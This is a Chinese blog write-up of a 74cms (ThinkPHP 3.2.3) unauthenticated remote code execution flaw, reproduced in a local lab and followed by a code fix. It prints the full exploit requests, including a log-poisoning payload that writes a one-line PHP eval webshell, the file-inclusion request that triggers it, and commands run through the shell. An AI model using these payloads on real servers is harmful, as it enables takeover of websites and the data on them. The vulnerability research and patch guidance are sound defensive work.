最近因为攻防去研究漏洞,发现陇剑杯2021年Webshell利用的漏洞是
骑士cms的远程执行漏洞
大概之后会做一个陇剑的WP(先码在这里)
简介
骑士cms人才系统,是一项基于PHP+MYSQL为核心开发的一套免费 + 开源专业人才网站系统。软件具执行效率高、模板自由切换、后台管理功能方便等诸多优秀特点。
平台介绍
骑士 CMS 采用的是Thinkphp框架,其版本是 3.2.3,我们知道 3.2.3 的标准 URL 路径如下:
http://serverName/index.php/模块/控制器/操作
但骑士 CMS 采用的是普通模式,即传统的GET传参方式来指定当前访问的模块和操作,举个简单的例子,如果我们想要调用 Home 模块下的 User 控制器中的 login 方法如下:
http://localhost/?m=home&c=user&a=login&var=value
m参数表示模块,c参数表示控制器,a参数表示操作/方法,后面的表示其他GET参数
漏洞描述
骑士 CMS 官方发布安全更新,修复了一处远程代码执行漏洞。由于骑士 CMS /Application/Common/Controller/BaseController.class.php文件的assign_resume_tpl函数存在过滤不严格,攻击者通过构造恶意请求,配合文件包含漏洞可在无需登录的情况下执行任意代码,控制服务器。
漏洞分析
整个的函数调用流程如图
具体的调用过程可以参考这篇博客:
https://xz.aliyun.com/t/8520
影响版本
CMS < 6.0.48
环境搭建
注意:
- 骑士cms不支持php7.0,建议使用php5
搭建版本:
- phpstudy2016 (选用php-5.3+Apache)
- 骑士cms 6.0.20
复现流程
使用phpstudy在受害机搭建网页(参考此文章)
注入模版到日志文件,利用hackbar通过post传入
注入的语句为:
http://192.168.110.128/74cms/upload/index.php?m=home&c=index&a=assign_resume_tpl
POST: variable=1&tpl=<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST[x]);?>")?>; ob_flush();?>/r/n<qscms/company_show 列表名="info" 企业id="$_GET['id']"/>
关于为什么这样传值,可以参考这篇博客:
https://xz.aliyun.com/t/8596
发现页面出现错误,这时我们可以查看记录日志
日志路径
\phpstudy2016\WWW\74cms\data\Runtime\Logs\Home\
可以发现日志是直接以日期作为格式来记录,我们打开日志
发现日志已经记录了错误,并且包含我们注入的恶意代码其内容有:创建一个shell.php文件,里面包含一句话木马, 此时我们再通过post文件包含把错误日志上传,页面会执行日志内的语句
http://192.168.110.128/74cms/upload/index.php?m=home&c=index&a=assign_resume_tpl
POST:
variable=1&tpl=data/Runtime/Logs/Home/23_12_15.log
此时我们可以观察到shell.php在根目录已经生成
我们打开看一下里面内容:
包含成功,连接密码为x
我们让x= phpinfo(); 判断是否出现回显
让x=echo system(‘whoami’); 输出当前的用户
添加路径,通过连接密码x连接后门文件获取到web权限
漏洞修复
我们把
/Application/Common/Controller/BaseController.class.php
中的169行代码进行修改
增添了如下代码
$view= new \Think\View;
$tpl_file = $view->parseTemplate($tpl);
if(!is_file($tpl_file)){
return false;
}
程序通过 v i e w − > p a r s e T e m p l a t e 对 view->parseTemplate对 view−>parseTemplate对tpl 参数进行处理,并对处理结果$tpl_file进行is_file判断,如果不是文件的话就返回false这样就阻断了恶意代码的上传,只能post本地的文件;
将
/ThinkPHP/Library/Think/View.class.php
// 106行fetch 方法中
if(!is_file($templateFile)) E(L('_TEMPLATE_NOT_EXIST_').':'.$templateFile);
//代码注释替换为
if(!is_file($templateFile)) E(L('_TEMPLATE_NOT_EXIST_'));
在thinkphp中,E()函数是用来抛出异常处理的。从而不让$templateFile变量值写到日志log文件中,使得恶意代码的文件不能存进日志当中。
修复验证
修改了代码之后我们再一次提交恶意代码发现此时已经不能出现错误日志
同时在data/Runtime/Logs/home路径当中看不见报错的日志